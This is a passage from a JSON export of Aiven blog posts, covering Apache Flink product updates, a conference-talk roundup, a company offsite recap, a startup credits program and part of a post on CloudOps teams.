parameters \n\nBy working at the Application level, you'll know what your current definitions are at any point in time. \n\nAlso, Aiven added a **versioning system**. You can now navigate between versions, track enhancements, explore new features and roll back changes if things don't look right.\n\n## Smoother pipeline definition\n\nWriting Flink SQL is not an easy job: defining tables, integrations and metadata parameters can sometimes be a headache. Here are ways in which Aiven for Apache Flink enhances the pipeline definition:\n\n* **Simplified integration**: forget about difficulties in integration, networking, SSL certificates with data sources and sinks. You can read from and write to Aiven for Apache Kafka, Aiven for PostgreSQL® and Aiven for OpenSearch® by creating an integration in the Aiven Console with a few clicks.\n* **Pure table SQL definition**: in a previous iteration of the table definition, we separated the column definition (that is, which columns are contained in a table) from the metadata syntax (that is, which connector, topic, consumer group to use). However, based on user feedback, we realized that this didn't provide any additional benefit to the experience. Therefore we reverted the table definition to pure SQL, and now it's fully compatible with the Apache Flink SQL Client. \n* **SQL autocomplete**: since both the full table and transformation definition are in now SQL, we added an autocomplete feature allowing developers to fast-track their work.\n* **Flink SQL pipeline output preview**: the new pipeline preview feature lets you check that your table definition fetches the correct data and that your SQL transformation performs the right manipulation, without pushing a single record to the target environment. The interactive queries allow you to see, directly in the Aiven Console, what is the output of a table definition or transformation SQL.\n* Improved **[OpenSearch](https://github.com/apache/flink-connector-opensearch) and [Slack](https://github.com/aiven/slack-connector-for-apache-flink) connectors**: Data doesn't only live in PostgreSQL and Apache Kafka. By enhancing the set of connection options, you can now stream the result of the data pipeline directly to an OpenSearch index or notify people in the Slack messaging tool.\n\n## Faster definition, reuse and an iterative approach\n\nClearing ambiguities isn't the only benefit of the Application concept. By storing table and transformation SQL definitions and performing versioning, Aiven for Apache Flink becomes the perfect playground to iterate fast, test new deployments, and recall code changes. \n\nEven more, once a correct prototype is created, the new UI allows you to quickly copy table definitions across applications. This avoids the \"empty canvas syndrome\" and cuts down the time needed to develop new applications.\n\n## Tight control on deployments\n\nEvery data pipeline definition is different, and every execution can vary as well. By adding a \"Deployment\" stage, you can now define application execution parameters, such as the number of parallel tasks. You can also stop deployments and store their state, using [Flink savepoints](https://nightlies.apache.org/flink/flink-docs-master/docs/ops/state/savepoints/). You can then reuse savepoints to start an application execution from an existing state, generated by the same application, even if it was on a different version. The compatibility of the savepoint is assessed automatically. If there's a positive match, the savepoint is used to start the application from a known point in time.\nYou can store up to 5 savepoints per application, so you can easily 'time travel' in your Flink application by choosing a new deployment \"starting point\" based on your needs.\n\n## Lifecycle management\n\nOur beta customers and internal stakeholders helped us to make Aiven for Apache Flink more robust. The native Apache Flink [checkpoint](https://nightlies.apache.org/flink/flink-docs-master/docs/ops/state/checkpoints/) and [savepoint](https://nightlies.apache.org/flink/flink-docs-master/docs/ops/state/savepoints/) system has been enhanced to automate the backup of pipeline state and allow graceful shutdown and startup. On top of this, you can now correctly size your service depending on the workload and change it whenever needed. Additionally, if your data needs to be migrated between clouds or regions, your pipeline definition can follow the data, to minimize any latency.\n\n## The future of Aiven for Apache Flink\n\nThe enhanced developer experience provided by Aiven for Apache Flink is only a first step in a long journey. Aiven is fully committed to optimizing the service further. It only makes sense, as Flink is clearly becoming the de facto standard in the data processing space.\n\nAiven will continue to enhance the service by adding new integration and connection capabilities, and integrating all upcoming Flink SQL features. [Our plans](https://aiven.io/pricing?product=flink\u0026tab=plan-pricing) will extend to accommodate new use cases and needs from existing and new customers.\n\nExperience the new developer experience of Aiven for Apache Flink directly from the [Aiven Console](https://console.aiven.io/)\n","categories":[{"_key":"835a4d063fe0","_ref":"1wgqjrglPyMfEWcMYN3YcQ","_type":"reference"},{"_key":"57c3643d2d4d","_ref":"5Ry1OHE6tZ0LKPQxJ9XkJd","_type":"reference"},{"_key":"93533aaaf105","_ref":"6CI2flR8OpeiqtSCkEmG7Z","_type":"reference"}],"internalBlogProcess":"technical","mainImage":{"_type":"mainImage","alt":"The text \"Seeking the best possible Apache Flink® experience\" on a blue background, with the Aiven cuddly crab logo at the bottom right","asset":{"_ref":"image-3ccc57ac82cd2b6243e238fe0cb03b52b2753dea-1567x844-jpg","_type":"reference"}},"publishedAt":"2023-03-02T10:18:41.317Z","related":[{"_key":"1b7b29f6c1e5","_ref":"bc611918-4bbd-462d-95ac-cc2ebf962189","_type":"reference"}],"slug":{"_type":"slug","current":"/blog/aiven-flink-journey"},"subtitle":"SQL, integrations, autocompletion, data preview and more - Aiven’s bringing good things to your Apache Flink® workflow","title":"Aiven's journey to enable a better Apache Flink® experience"}
{"__i18n_lang":"en","_createdAt":"2023-07-07T09:29:35Z","_id":"6f4ffb6b-9fe9-4150-bf42-c77ddc3d5342","_rev":"lIJH2XrFwRt4uP1xSPER9Q","_type":"post","_updatedAt":"2023-07-07T13:29:13Z","authors":[{"_key":"db91862ab35b","_ref":"18b2384d-a539-411b-8aab-d148082fe230","_type":"reference"},{"_key":"c26e492eb424","_ref":"794a9c45-685d-4fe9-85c6-fe22532ca57c","_type":"reference"}],"body":"Aiven is passionate about supporting speakers and engaging open source and developer communities through content. Here’s what we got up to in June 2023:\n\n* Olena Kutsenko, one of Aiven’s Developer Advocates, spoke at [JSNation](https://jsnation.com/): [Apache Kafka® Simply Explained With TypeScript Examples](https://portal.gitnation.org/contents/apache-kafka-simply-explained-with-typescript-examples)\n* Olena Kutsenko also spoke at [Berlin Buzzwords 2023](https://2023.berlinbuzzwords.de/): [ClickHouse®: what is behind the fastest columnar database](https://www.youtube.com/watch?v=mrJvoHJRs9Y)\n* Celeste Horgan, one of Aiven’s Developer Educators, spoke at [Berlin Buzzwords 2023](https://2023.berlinbuzzwords.de/): [Building On-Ramps for Non-Code Contributors in Open Source](https://www.youtube.com/watch?v=7vKtFYM03gA)\n* Olena Kutsenko and Olena Babenko, one of Aiven’s Software Engineers spoke at [Kafka Summit London 2023](https://www.kafka-summit.org/kafka-summit-london-2023): [The Dark and Dirty Side of Fixing Uneven Partitions](https://www.confluent.io/events/kafka-summit-london-2023/the-dark-and-dirty-side-of-fixing-uneven-partitions/)\n* Olena Kutsenko spoke at [DevoxxUK 2023](https://www.devoxx.co.uk/): [Using Apache Kafka and OpenSearch® to explore Mastodon](https://youtu.be/B-X5LCwEIjw)\n* Sébastian Blanc, one of Aiven’s Developer Advocates, spoke at [VoxxedDays Luxembourg 2023](https://luxembourg.voxxeddays.com/en/):  [A legacy app enters a Serverless bar](https://youtu.be/CLl4Dy40dxQ)\n* Olena Kutsenko also spoke at [VoxxedDays Luxembourg 2023](https://luxembourg.voxxeddays.com/en/): [Beginner’s guide to balance your data across Apache Kafka partitions](https://youtu.be/Mq3RQHH2kzY)\n* Matty Stratton, Aiven’s Director of Developer Relations, gave the day 2 keynote at [DevOps Talks Melbourne](https://devops.talksplus.com/melbourne/devops): [Zero Trust is for Networks, Not Your Teams](https://speaking.mattstratton.com/1TVpT6/zero-trust-is-for-networks-not-your-teams)\n* Matt Cornillon, one of Aiven’s Solutions Architects gave a talk at [PGDay France 2023](https://pgday.fr/) (in French): [From the leaf to the Elephant](https://www.youtube.com/watch?v=35oUEFtLcxg\u0026t=19633s)\n* Dewan Ahmad, one of Aiven’s Developer Advocates, spoke at [PGCon 2023 Ottawa](https://www.pgcon.org/2023/): [Who's managing the credentials for your database?](https://www.youtube.com/watch?v=EE-IcX_YiR8)\n* Ronan Dunklau, one of Aiven’s Software Engineers, also spoke at [PGCon 2023 Ottawa](https://www.pgcon.org/2023/): [PGTracer: A Tracing Tool for Postgres Backends](https://www.youtube.com/watch?v=bUHwWEU-Ask)\n* Patrick Stählin, one of Aiven’s Software Engineers, spoke at [Swiss PG Day 2033](https://www.pgday.ch/2023/) in German: Was ist MVCC und was sind die Auswirkungen davon?. There’s no recording but you can [view the slides](https://www.pgday.ch/common/slides/2023_MVCC_pstaehlin.pdf)!\n\n\u003c!--\n![Olena Kutsenko on stage speaking about Apache Kafka to a packed room of developers at JSNation. Photo Source: https://twitter.com/marcelcutts/status/1664233381654065153](https://cdn.sanity.io/images/sczeoy4w/production/f8f155ad0ea5bcf60512d3039e7359025539e0ca-1600x1398.jpg)\n--\u003e\n\nWe also gave some workshops: \n\n* Oleka Kutsenko led a [Beginners guide to balance your data across Apache Kafka partitions](https://devnexus.com/archive/devnexus2023/presentations/beginners-guide-to-balance-your-data-across-apache-kafka-partitions) at [DevNexus Atlanta 2023](https://devnexus.com/)\n\n\nAnd appeared on some podcasts:\n\n* Angie Byron was on the [Changelog Podcast’s](https://changelog.com/podcast) episode on [Maintaining Maintainers](https://changelog.com/podcast/542)\n* Francesco Tsiot, one of Aiven’s Developer Advocates, was on [Arrested DevOps](https://www.arresteddevops.com/) talking about [Data! Data! Data!](https://www.arresteddevops.com/data-data-data/)\n* Olena Kutsenko was on [RTA Podcast with Tim Berglund’s](https://rta.buzzsprout.com/) episode about [Apache Kafka](https://youtu.be/ETBSuhUaPl8)\n\n\n## Where to find us in July\n\nAiven cast members at at the following events in July:\n\n* Angie Byron, Aiven’s Director of Community, will be speaking at [FOSSY 2023](https://2023.fossy.us/): [Lessons Learned From Scaling An Open Source Community By 10,000%](https://2023.fossy.us/schedule/presentation/30/)\n* Tibs, one of Aiven’s Developer Educators, will be speaking at [EuroPython 2023](https://ep2023.europython.eu/): [Fish and chips and Apache Kafka®](https://ep2023.europython.eu/session/fish-and-chips-and-apache-kafka)\n* Markos Sfikas, one of Aiven’s Product Marketing Managers, will be speaking at [Product Marketing Festival 2023](https://www.productmarketingalliance.com/product-marketing-festival-july-13-14-2022/): [From boring to intriguing: how storytelling can help marketing complex products](https://festival2023.productmarketingalliance.com/talks/making-sexy-the-unsexy-using-storytelling-as-a-successful-means-for-marketing-complex-or-difficulttovisualize-products-and-services/)\n- Sébastian Blanc will be one of the hosts at [Riviera Dev](https://rivieradev.fr/) in Provence-Alpes-Côte d'Azur, France\n\nEvery month Aiven hosts [ Open Source Data Infrastructure (OSDI) Meetups](https://www.meetup.com/pro/open-source-data-infrastructure-community/) around the world, bringing together developers working with Apache Kafka®, Apache Flink®, OpenSearch®, ClickHouse®, MySQL and more. We’ll be hosting the following meetups in July: \n\n* **Thursday, July 13, 2023**: [Berlin OSDI Meetup](https://www.meetup.com/berlin-open-source-data-infrastructure-meetup/events/293689914/?utm_medium=referral\u0026utm_campaign=networkEvent_savedevents_share_modal\u0026utm_source=link) featuring Mattias Jonson of PingCAP’s talk: Introduction to TiDB - a distributed SQL database\n* **Friday, July 28, 2023**: [New York OSDI Meetup,](https://www.meetup.com/new-york-open-source-data-infrastructure-meetup/events/294326349) featuring Brooke Jamieson of AWS’ talk: Demystifying Vector Databases: Your Next Must-Learn Technology\n\n\nWe hope to see you in July!","categories":[{"_key":"25002016f84b","_ref":"55hnoBwSNkFBrvJaZvuhgt","_type":"reference"}],"internalBlogProcess":"technical","mainImage":{"_type":"mainImage","asset":{"_ref":"image-10d73eaa11544b7d4f751ece23d798c89e75ded7-1567x844-png","_type":"reference"}},"publishedAt":"2023-07-07T09:25:25.154Z","related":[{"_key":"e3fca0b6f2ac","_ref":"076d9cea-9afd-4558-87a9-320861615971","_type":"reference"},{"_key":"11eb98a61089","_ref":"0bfbd9fe-3345-405a-af46-8afc21cf05f2","_type":"reference"},{"_key":"b5b6b86613f6","_ref":"0f535739-8443-49d6-89b1-c9d898799ad5","_type":"reference"}],"slug":{"_type":"slug","current":"/blog/speaking-crabs-june-2023"},"subtitle":"A roundup of the talks, workshops, podcasts and more Aiven cast members have given or spoken on, as well as where you can find us in July 2023!","title":"Speaking Crabs, June 2023"}
{"__i18n_lang":"en","_createdAt":"2023-05-22T10:06:35Z","_id":"c3decc78-b335-4ccf-8ae6-05a1662fec02","_rev":"4xxJDWP8Sw6o7zBrUAfE4h","_type":"post","_updatedAt":"2023-08-03T10:26:15Z","authors":[{"_key":"74ec96f5485e","_ref":"fa265a2a-831a-4862-a7d7-42065a008cc6","_type":"reference"}],"body":"It’s that time of the year again when we pack our bags and set off on the adventure of Crab Week. What is this, you might ask? Aiven’s annual offsite that brings our Cast together - this year’s theme was Claws United. \n\nThe beginning of 2023 was a tough moment for all of us working in Tech, Aiven included. Therefore more than ever we needed to come together as a team to rebuild and reconnect. Meeting fellow Aiveners face-to-face and investing in team-building has so much value and lets us build that common Crabby spirit. \n\nApril is also the start of our fiscal year. It’s the perfect opportunity to align on our refreshed strategic approach and ensure that everyone understands how they contribute to Aiven’s vision, ambitions and strategic initiatives. \n\n## Travelling sideways to Portugal\n\nIt’s no easy task to bring everyone together to one location. After months of planning, a small group of 7 Aiveners brought Crab Week 2023 to life. A big shout out to our clawsome organizing committee, the Crab Week Core Team, and [Jolos](https://jolos.eu/) (our events agency) for making this event happen. With 3 main objectives in mind - Big picture, Impact, and Community - we began our journey to have our Claws United in sunny Albufeira!\n\n![image](https://cdn.sanity.io/images/sczeoy4w/production/2f60b900fb9fc5207ce295b8dc3cc4c98f7b2993-6000x4000.jpg)\n\n## Our way forward\n\nWe spent the first day all together for company-wide sessions, there were so many highlights! [Oskari Saarenmaa](https://www.linkedin.com/in/oskarisaarenmaa/) (our CEO and co-founder) announced our new vision to be ‘**The trusted open source data platform for everyone**’ and spoke about how we turn this vision into reality. \n\nNext, we had a burst of energy on stage in the form of Aiven’s new CRO - [David Wyatt](https://www.linkedin.com/in/davidwyatt123/), who brought Top Gun to Aiven (fighter jets, maverick flight suits, aviators and, Crab Cash!?). Dave presented our Go To Market Strategy with ‘intentionality’ (yes, that’s a word) and got us out of our seats and excited for the future with a hype man in tow. Our Product Strategy was presented by the dynamic duo, [Hannu Valtonen](https://www.linkedin.com/in/hannuvaltonen/)(our CPO and co-founder) and [Jonah Kowall](https://www.linkedin.com/in/jkowall/) (VP of Product Management) followed by an executive team panel led by [Anna Richardson](https://www.linkedin.com/in/anna-richardson-a7896013/) (VP of People) that dived deeper into our Employee Value Proposition - Think Sideways. \n\nKudos to our entertaining hosts [Ewelina Grajko](https://www.linkedin.com/in/ewegra/) and [Francesco Tisiot](https://www.linkedin.com/in/francescotisiot/) for their brilliant presentation slides, infectious energy and numerous jokes - oh, and this amazing selfie!\n\n![image](https://cdn.sanity.io/images/sczeoy4w/production/75492381cbf354fe698bf05722fdecc374e1600f-899x498.png)\n\nThe session after lunch was a big highlight, we welcomed representatives from two of Aiven’s customers on stage; [Diogo Gomes](https://www.linkedin.com/in/diogo-gomes-8434a1198/) from [La Redoute](https://www.linkedin.com/company/la-redoute/) and [Janek Wonner](https://www.linkedin.com/in/janek-wonner-49536018b/) from [Conrad Electronic Group](https://www.linkedin.com/company/conrad-electronic-se/), for a fireside chat with [Ian Massingham](https://www.linkedin.com/in/imassingham/) (VP of Developer Relations). This panel was so impactful for Aiveners as it gave us the chance to see Aiven through external eyes, it also gave us the opportunity to meet and hear directly from our customers. We learned how we help them solve their challenges and how Aiven brings value to their businesses. It also gave us great motivation on how we can improve in the future. A big thank you to Diogo and Janek for joining us at Crab Week!\n\nWe wrapped up the day’s session with an outdoor team-building activity, a 'Think Sideways' chain reaction challenge where the randomly formed teams were on a mission to release Crabby, our playful mascot. The experience was an absolute blast! We collaborated, problem-solved, and let our creativity run wild. We discovered the incredible power of teamwork and the joy that comes from working together with Crabs from different backgrounds. \n\n![image](https://cdn.sanity.io/images/sczeoy4w/production/07d19764f975552a82a6887c21445943c85b250f-6000x4000.jpg)\n\nAfter working up an appetite, it was time for dinner and our annual Crab Awards where we recognised our Crab peers and applauded their exceptional work. Head on over to our [LinkedIn page](https://www.linkedin.com/feed/update/urn:li:activity:7061615995932565504) where you can find out more about the categories and winners. \n\n## From Crabs, to Crabs \n\nDays two and three were dedicated to functional content where teams gathered together to align and connect. When you work in a distributed team, having face-to-face time with your colleagues is like ‘gold’. The agendas were varied across departments, some teams reshaped roadmaps, others had guest speakers. Our People team participated in a ‘Dragons Den’ inspired brainstorming activity, whilst Marketing and DevRel learned what it’s like to be a CMO for a day. \n\n![image](https://cdn.sanity.io/images/sczeoy4w/production/af03328008a527fa03b2e10008388f054cbf5be5-6048x4024.jpg)\n\nWhen organizing the event, the Core Team wanted Crab Week to look and feel like our Cast so having sessions led by our Crabs was important. Wednesday afternoon was devoted to sessions hosted by various Aiveners presenting topics they're passionate about. This included talks on Leadership Skills, Aiven’s Sustainability Journey, Why Storytelling Matters, Your First Steps as a Public Speaker and A Tactical Networking Session for Growing a Pipeline. There was also a panel discussion about the various cultures that make up Aiven, including our ERG groups Lift: Women of Aiven, Proud Crabs and our Neurodiversity group. This panel created healthy discussions among the participants and created a safe space for folks to be able to show up as their authentic selves. A big shout out to the crabulous speakers who led these ten sessions for their fellow peers! \n\n## Crabs get festive! \n\nThe pièce de résistance was the Crab Festival hosted in the lush resort gardens under the palm trees. There were garden games, face painting, crab tattoos (temporary, of course), a live band, DJ Fabz, karaoke and later on a silent disco. Seeing everyone networking and having a good time was certainly a highlight not only for me but for the rest of the organizing team. This helped to form professional bonds, but also connections between people.  And who doesn’t love live music, good weather and the chance to connect with your work pals as the sun goes down over the Atlantic Ocean?\n\n![image](https://cdn.sanity.io/images/sczeoy4w/production/53fb6a0ee84028859c58e708aee0706e974ad414-5513x3675.jpg)\n\n\n## The future is bright  \n\nWe ended the week with some cross-functional activities and a relaxed outdoor dinner by the pool. As the sun set on the week we were grateful for new connections, a better understanding of Aiven’s way forward as a united team, and for some of us, a tan! The value of bringing people together face-to-face is unmatched and this is certainly an event we’ll be talking about for a very long time.\n\nOn the final day, we asked everyone to describe their Crab Week 2023 experience in one word and it’s given us some great new Crab puns (thanks folks!). \n\n![image](https://cdn.sanity.io/images/sczeoy4w/production/3b8f94422dd7b5022564484889361b844cf55208-606x330.png)\n\nAnd Crab Week 2024……. Yes, we’re going to do it all over again next year. We see the value of bringing everyone together to collaborate and connect. Let’s see where we land (sideways) as we continue to make Crab Week a highlight each year.\n\n![image](https://cdn.sanity.io/images/sczeoy4w/production/67da9e0e0bb63799bf549141ec141df5f1284e8b-6048x4024.jpg)\n\nLike what you see here? There's so much more to come as we take a peek under our shell and uncover Life at Aiven.\n\n----\n\nTo get the latest news about Aiven and our services, plus a bit of extra around all things open source, [subscribe to our monthly newsletter](https://aiven.io/newsletter)! Daily news about Aiven is available on our [LinkedIn](https://www.linkedin.com/company/aiven/) and [Twitter](https://twitter.com/aiven_io) feeds.\n\nIf you just want to find out about our service updates, follow our [changelog](https://aiven.io/changelog). \n\n\u003c!--\n\n::banner[You found it!]{ctaText=\"Get started for free\" ctaLink=\"https://console.aiven.io/signup\" title=\"Still looking for a managed data platform?\" theme=\"dark\"}\n--\u003e","categories":[{"_key":"4a64c13b14af","_ref":"8fa4c846-517b-4a03-87e3-aa28ad26cce6","_type":"reference"},{"_key":"73e72ea02d45","_ref":"44deb165-f752-4b24-903a-c488e0b6012c","_type":"reference"},{"_key":"bda8d1a0b50e","_ref":"f71aca49-b430-43f6-a9a2-17863e4c6a16","_type":"reference"}],"mainImage":{"_type":"mainImage","alt":"Crab week team photo","asset":{"_ref":"image-cf233865a1488167be09123ed7a6febf1fa7fba4-3133x1688-jpg","_type":"reference"}},"publishedAt":"2023-05-24T06:00:00.000Z","related":[{"_key":"a546ff80a3ad","_ref":"1Lw0M52l6Xc8ia5fdmn8AZ","_type":"reference"},{"_key":"be137282ed7e","_ref":"1jUV74q3GG1ikBS5TwdZLG","_type":"reference"},{"_key":"6a6e57bd98b2","_ref":"712d0099-600c-4354-a2d6-80340a2fa031","_type":"reference"}],"seo":{"_type":"metaData","metaDescription":"In April we gathered our Cast under the Portuguese sun and travelled around the world to unite our global team. ","metaImage":{"_type":"mainImage","alt":"Aiven team photo","asset":{"_ref":"image-cf233865a1488167be09123ed7a6febf1fa7fba4-3133x1688-jpg","_type":"reference"}},"metaTitle":"Crab Week 2023, that's a wrap! "},"slug":{"_type":"slug","current":"/blog/crab-week-2023-wrap-up"},"subtitle":"In April we gathered our Cast under the Portuguese sun and travelled (sideways) around the world to unite our global team for Claws United. ","title":"Crab Week 2023, that's a wrap! "}
{"__i18n_lang":"en","_createdAt":"2022-06-16T14:05:38Z","_id":"18fLg2vAgBM4cu7qP3u2XJ","_rev":"4xxJDWP8Sw6o7zBrU9zeHF","_type":"post","_updatedAt":"2023-06-19T08:15:24Z","authors":[{"_key":"7aLlIDft447BvdfSDjeIdu","_ref":"7aLlIDft447BvdfSDjeIdu","_type":"reference"}],"body":"## What is Aiven Cluster?\nThe Aiven Cluster Startup Program offers fast-growing startups free credits worth up to US$100,000 to be used over 12 months. You can use it to build up a modern data infrastructure in the cloud without any management headaches. \n\nFor example, you can spin up a single database like PostgreSQL or MySQL to meet an immediate need now and scale with replicas when going into production. Or you could build a powerful streaming service using Apache Kafka and connect to Grafana for the ready-made dashboards. Perhaps you need to create a quick little hobbyist database to test an idea? Aiven is the easiest way.\n\n*And* you can pick clouds and regions from our wide selection.\n\nBut it’s about more than just money and services. For our Cluster startups, we offer \n\n- Access to Aiven’s experts and technical support\n- Virtual events focused on building the best data infrastructure for your company with Aiven\n- Joint promotions and visibility on Aiven’s channels for startups that scale up in the first 6 months\n\n## Giving back to the community\nWhy is Aiven embarking on this journey now? \n\n“Back in our day, Aiven took part in our share of startup programs,” says Oskari Saarenmaa, CEO. \"We’ll always be grateful for the help we got from the community then; each of those companies holds a special place in our hearts.”\n\nNow Aiven is looking to pay the good forward. “We’ve seen startups with limited funds try to save money by doing everything in-house, and that slows their progress. With programs like ours, startups can focus on what matters instead of worrying about their company data infrastructure. Your company’s brightest minds shouldn’t be spending their days managing Apache Kafka, they should be developing your products and services.”\n\nThe benefits for companies, both those taking part in and those providing startup programs, are substantial. “Aiven wants to learn from the needs of  up and coming startups, because that helps us improve and provide a better service for everyone,” Oskari points out. “And in some cases, Aiven is today able to power the business of a company that gave us a boost early on, and neither company would be where we are today without the other.” \n\nWith Aiven, even a tiny startup with pretty much no infra can get productive quickly, and that’s absolutely essential for future success.\n\n“That’s what we want to enable for junior startups, now that we’re in a position to do so,” Oskari says. “We’ve been there, we’ve walked the walk, but we weren’t alone. Now we want to help the next generation succeed.”\n\n## Get with the program\nWe have a few eligibility criteria for our clusterers (is that even a word? Well, it is now) to meet. You’re eligible as a company if \n\n… you are affiliated with an approved partner organization. \n\n… your startup is not older than 5 years.\n\n… your funding is at Series A level, or less.\n\n… you have a company website and an associated email address.\n\nTo become a part of the Aiven Cluster, head on over to [our Cluster page](https://aiven.io/cluster \"Cluster program page | Aiven website\"), fill in the form, and click the big orange button to apply.\n\nStill have questions? Send an e-mail to cluster@aiven.io, and we’ll try to answer them.\n\nMake sure you also follow our [changelog](https://aiven.io/changelog) and [blog](https://aiven.io/blog) RSS feeds, and our [LinkedIn](https://www.linkedin.com/company/aiven/) and [Twitter](https://twitter.com/aiven_io) accounts to stay up-to-date with product and feature-related news.","categories":[{"_key":"ksykM2RWxnnen4wmbNFR6","_ref":"ksykM2RWxnnen4wmbNFR6","_type":"reference"}],"mainImage":{"alt":"","asset":{"_ref":"image-19a5024177c9cf81ec933f2e5045ddd18cb69d85-1567x844-png","_type":"reference"}},"publishedAt":"2021-11-17T00:00:00.000Z","seo":{"_type":"metaData","metaDescription":"Aiven invites startups to our new startup program. Find out why Aiven is helping fresh early-stage startups with discounts and other opportunities.","metaImage":{"alt":"","asset":{"_ref":"image-19a5024177c9cf81ec933f2e5045ddd18cb69d85-1567x844-png","_type":"reference"}},"metaTitle":"Cluster startup program | Discover the benefits | Aiven"},"slug":{"_type":"slug","current":"/blog/an-invitation-to-cluster"},"subtitle":"Aiven invites startups to our new startup program. Find out why Aiven is helping fresh early-stage startups with discounts and other opportunities.","title":"An invitation to cluster"}
{"__i18n_lang":"en","_createdAt":"2022-06-16T14:05:38Z","_id":"4p1IgkhLKJMD5e7PmJuzMX","_rev":"3vmY7zy3f72iLGmgPaopVB","_type":"post","_updatedAt":"2023-07-13T09:11:10Z","authors":[{"_key":"7aLlIDft447BvdfSDjeIdu","_ref":"7aLlIDft447BvdfSDjeIdu","_type":"reference"}],"body":"Not all developers hate dealing with tool admin stuff. But if their core competence is product development and they’ve been hired to do just that, no one wants to have them spend their time and the company’s money on extraneous tasks.\n\nTo avoid creating disgruntled developers and bleeding development budget into administration tasks, companies are increasingly setting up teams whose specific responsibility it is to make sure that developers have the tools they need to do their jobs. \n## CloudOps v Developer Experience v common platform\nTerminology lags behind reality, as it always does, and there are many names for the teams who take care of the tooling issues on behalf of the developers, or maybe the whole company.\n\nThe designated turf for these teams includes things like\n\n- Maintenance of local or cloud software tools\n- Upkeep of libraries and SDKs\n- Subscriptions to and management of SaaS, DBaaS, PaaS and other fundamental cloud-based services\n- Oversight of entire supported technologies\n- Best practices around workplace collaboration, coding, distribution etc\n- Creation of supporting materials (like introductions and instructions to the development environment and practices)\n- Working with corporate IT to merge the development environment seamlessly into the company infrastructure\n\nTeams who tackle the full spread of this smörgåsbord of developer support are starting to be called Developer Experience teams. Common platform teams focus on technical tasks related to the development platform, and CloudOps teams take care of the public cloud environments that the development teams use.\n\nWhat all these types of teams have in common is the goal of removing from the developer users the burden of having to pick and maintain their resources. Centralizing the function brings savings on the corporate level due to increased bargaining power. This way companies can also ensure that all the tools meet the security and scalability requirements needed for their product development.\n\nIn this article, we’ll take a closer look at CloudOps from the viewpoint of Aiven, who provides exactly the kind of services that CloudOps teams oversee. We also have a ringside seat to witness the benefits our customers reap from this approach.\n## CloudOps benefits everyone\nA CloudOps team vets, rolls out and maintains cloud tooling, including the subscriptions. It may also extend its mandate to the licencing details, best practices, instructions and other related miscellanea that are vitally important for the day-to-day running and long-term compatibility of the company cloud services. \n\nHaving all this centralized into one function means resources can be managed more efficiently, creating clear savings. Having a CloudOps team gives you the ability to provide cloud services for your developers most cost-effectively.\n### CloudOps and the environment\nUnused resources means unnecessary consumption, whether we’re talking about buying too many pairs of trousers or setting up extra cloud capacity. Data isn’t often seen as contributing to climate change. It does need to be stored, however, and storing it consumes electricity and natural resources. \n\nThe catch is that if you set up a data environment, it really doesn’t care whether you fill it up with data or not; it keeps using the same amount of power whether it’s running empty or doing a vital job. So you rack up the bills, and a power plant somewhere churns out the electricity. Not buying your own hardware and maintaining a data center that sits empty for long stretches of time is actually an environment-friendly act. \n\nThe same goes for subscribing to unnecessary amounts of cloud services. If a development task requires access to a cloud service, it’s tempting in the short term to just quickly subscribe to whatever service to get the immediate task done. The result may be a myriad of small subscriptions, each of them using only a fraction of the capacity that the subscription enables.\n\nAnd since one major benefit of having a CloudOps team is optimized resource management, that means CloudOps is green by its very nature.\n### CloudOps and the company\nCentralizing all cloud operations under one team sets the stage for company-wide alignment on services. The CloudOps team makes sure that all developers are working in the same framework under the same terms and conditions. \n\nOne major benefit from service alignment is that you can automate your production workflows and management tasks. Orchestration is easy when every service is playing from the same sheet of music; if one half of the band plays blues and the other half plays EDM, the results will be… mixed, to say the least.\n\nAnother way that a centralized CloudOps team can avert costly disaster is by ensuring that all service use is compliant with whatever standard you need to comply with. They can also deliver the data you need to obtain official certifications of compliance.\n### CloudOps and the developer\nWe at Aiven enjoy it when our customer companies set up CloudOps or DEX teams because then we know that developers are being taken care of. \n\nAt our end, we know first-hand how easy it is to troubleshoot and fix issues by working with someone who has the whole cloud environment at their fingertips, instead of them having to claw their way out of a data silo first. We’re pretty sure that they prefer it, too.\n\nWhen the CloudOps team has overall control of the development cloud resources, it can be used to enable self service access to resources for developers but without the burdens of subscription management and infra integration. Need a cloud set up quickly? No more using your personal e-mail to sign up for a random service, just go to your company or organisation portal and click the one you want. (That’s how the [GOV.UK Digital Marketplace](https://www.digitalmarketplace.service.gov.uk/ \"GOV.UK Digital Marketplace\") works, for example.)\n## Case in point: CloudOps at Just Eat Takeaway.com\nWe had a chat with Mario Mazo, CloudOps Team Lead at [Just Eat Takeaway.com](https://www.justeattakeaway.com/) to find out how their company’s CloudOps team works. Just Eat Takeaway.com gets their Kafka and OpenSearch managed at Aiven.\n\n“We set up the CloudOps team some three years ago,” Mario says. “We considered an SRE model, but came to the conclusion that it wasn’t workable for our company in our location. In the end we went with a team that wasn’t sysops or developers but rather orchestrators and maintainers. The current team understands cloud orchestration on a higher level, as it relates to systems.”\n\nThe 12-person team at Just Eat Takeaway.com covers cloud services end to end. “We’re basically an abstraction layer between developers and the cloud services they use, like AWS, Aiven, Atlas etc. It’s like an API that includes humans, processes and tools, upholding company policies and best practices. Developers don’t have to care much about how to properly set up this or that cloud resource. We also make sure our systems are compliant with the different benchmarks we have to pass as a public company with a banking license. That takes special expertise, and now developers don’t need to acquire it.”\n\nWhile CloudOps teams can serve the whole company’s cloud resource needs, at Just Eat Takeaway.com they mostly work with product development. “Development teams account for approximately 90% of our users,” Mario says. “But there are some use cases where we work directly with Finance and Product Intelligence.” In most companies it’s probably true that development teams have the largest and most complex needs for public cloud services.\n\nWe asked Mario what would happen if the CloudOps team were to disappear overnight--how would they cope? “Good question… Many of the systems we manage are rather complex: Kubernetes, Istio, even Kafka before we signed up with Aiven. So I don’t know. It’s not likely to happen. We tend to joke that Kubernetes is the best job security solution on the market, so there’s that!” he laughs.\n## Wrapping up\nJust Eat Takeaway.com’s CloudOps team is a great example of taking the load off the developers’ shoulders and putting it where it belongs, a dedicated team of professionals with a bird’s-eye view and fine-grained control of the whole cloud infrastructure. \n","categories":[{"_key":"1ErERmLUOz2onJX3MFydSX","_ref":"1ErERmLUOz2onJX3MFydSX","_type":"reference"},{"_key":"c8775456e4f5","_ref":"6FWlUxDXERbtNrYX2asRv6","_type":"reference"}],"mainImage":{"alt":"","asset":{"_ref":"image-ece3aea82bde9edb00dd593271e6d0a8964d81c7-1567x844-png","_type":"reference"}},"publishedAt":"2021-11-18T00:00:00.000Z","seo":{"_type":"metaData","metaDescription":"Programmers spending their time on tool issues is an old problem. The new solution in town is a separate team that takes care of it for 